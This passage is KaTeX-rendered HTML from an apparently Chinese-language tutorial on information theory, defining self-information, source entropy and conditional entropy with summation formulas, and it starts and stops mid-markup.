style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-1.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>以上，讨论了单个符号的信息量和联合信息量的定义，一个单符号离散信源会有多个符号，就提出了衡量信源信息量的<strong>信源熵</strong>，简单地说，就是每个符号的信息量的平均值，或者信源的平均不确定度、随机性，单位是 bit/sign：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">]</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">[</span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">]</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><h3 id="信源熵">信源熵</h3><p>如果同时考虑两个信源，要计算<strong>条件熵</strong>，可以根据数学期望的定义，得到：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">[</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">]</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>这里必须注意，出现 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 的概率是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9805em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 同时发生。也可以用如下的办法推理，一次只考虑一个随机变量：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:13.3246em;vertical-align:-6.4123em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.9123em;"><span style="top:-8.9123em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:-5.6832em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:-2.3181em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:1.0471em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.4123em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.9123em;"><span style="top:-8.9123em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">∵</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-5.6832em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span 